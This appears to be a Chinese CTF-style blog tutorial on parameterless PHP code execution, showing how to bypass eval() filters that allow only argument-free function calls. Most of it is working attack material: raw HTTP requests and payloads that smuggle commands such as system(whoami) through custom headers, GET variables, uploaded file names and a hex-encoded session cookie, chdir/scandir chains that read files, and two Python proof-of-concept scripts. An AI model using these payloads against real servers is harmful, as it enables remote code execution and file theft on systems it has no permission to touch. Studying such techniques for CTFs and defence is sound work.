如何进行目录上跳呢?我们用dirname()即可

var_dump(scandir(dirname(getcwd())));

image-20221122174205898

那么怎么更改我们的当前目录呢?使用chdir

chdir(dirname(getcwd()));  //将当前目录设置为上一级目录

搭配chadir来读取文件:

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

再给出其它一些读取文件的操作:

当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取的其实,看脸,它们的作用都是随机选取一个根目录的文件进行读取

getallheaders

只适用于apache中间件

image-20221122143753491

我们来打印出来看看

http://127.0.0.1/index.php?code=var_dump(getallheaders());

image-20221122144238099

它把我们的header头输出了,但是header头我们是可以自定义的

image-20221122144525537

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。

image-20221122144718307

我们来使用一下,可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

var_dump(implode(getallheaders()));
sakura: flag

image-20221122144928146

来执行命令:

GET /index.php?code=eval(implode(getallheaders())); HTTP/1.1
sakura: system(whoami);//

image-20221122145432187

事实上这样操作具有局限性,万一我们输出的头不再最开始不就g了?

但是我们有很多函数可以去帮我们去获得我们想要的字符串

由于在开头第一个我们还可以使用pos函数去得到我们输入的命令

image-20221122150157102

假如说它的位置不在数组第一个,在最后一个呢?

我们只需要使用end就可以把它取出来,这里我输入的值位置并不在第一个,所以取出来并没有用,只是做个示范罢了

image-20221122150850290

那么相信大家已经会了,现在我们如何取数组第二个呢?

相信大家心里已经有了答案,使用next!

image-20221122151030098

就是这样,搭配不同的函数取出我们想要的值即可

get_defined_vars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?这里我们可以使用get_defined_vars()

image-20221122154832676

该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果如下:

image-20221122155240401

发现其可以回显全局变量:

$_GET
$_POST
$_FILES
$_COOKIE

可以看到用GET传入的参数会被显示在数组中的第一位,不过这里有这么多的数组,我们也不需要全部查看,只需要使用current()函数就可以取到我们想要的东西

image-20221122155556428

我们来试一试:

image-20221122155713268

给我们返回了一个一维数组,我们再想办法取得第二个值:

GET /index.php?code=var_dump(next(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1

image-20221122155831177

然后就可以来执行命令

GET /index.php?code=eval(next(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1

image-20221122161512219

除了next还可以使用end

GET /index.php?code=eval(end(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1

image-20221122161858843

但一般网站喜欢对

$_GET
$_POST
$_COOKIE

做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传

import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

注意:上面这个脚本只适用于$_FILES在最后的情况,要根据条件不用去修改其位置

session_id()

image-20221122164305081

官方说:session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。

image-20221122164407079

但session_id必须要开启session才可以使用,所以我们要先使用session_start。

所以,payload可以为:

eval(hex2bin(session_id(session_start())));  //hex("phpinfo();")=706870696e666f28293b

image-20221122164738128

顺便给出一个poc:

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

getenv

只适用于php7.1以后版本

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

查阅php手册,有非常多的超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我们可以使用$_ENV,对应函数为getenv()

image-20221122165153813

我们来打印一下吧:

GET /index.php?code=var_dump(getenv()); HTTP/1.1

image-20221122170631213

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:

img

我们来试一下:

GET /index.php?code=var_dump(array_rand(getenv())); 

image-20221122170911592

但是我们不想要下标,我们想要下标的值,该怎么办呢?

GET /index.php?code=var_dump(array_rand(array_flip(getenv()))); HTTP/1.1

image-20221122171114135

我们这么写达到了什么效果呢?—>随机获取一个环境变量的值

我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数

说实话我个人对这种做法还是比较懵逼,我并没有找到好的方法去执行命令,我观看了网上的文章都是到这一步就停下了,唯一达到的效果就是执行了phpinfo()?其实也不必要这么麻烦的

POST /index.php?code=var_dump(getenv(phpinfo())); HTTP/1.1

参考链接

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/miuzzx/article/details/109143413

https://blog.csdn.net/qq_41315957/article/details/118855865

https://blog.csdn.net/Manuffer/article/details/120738755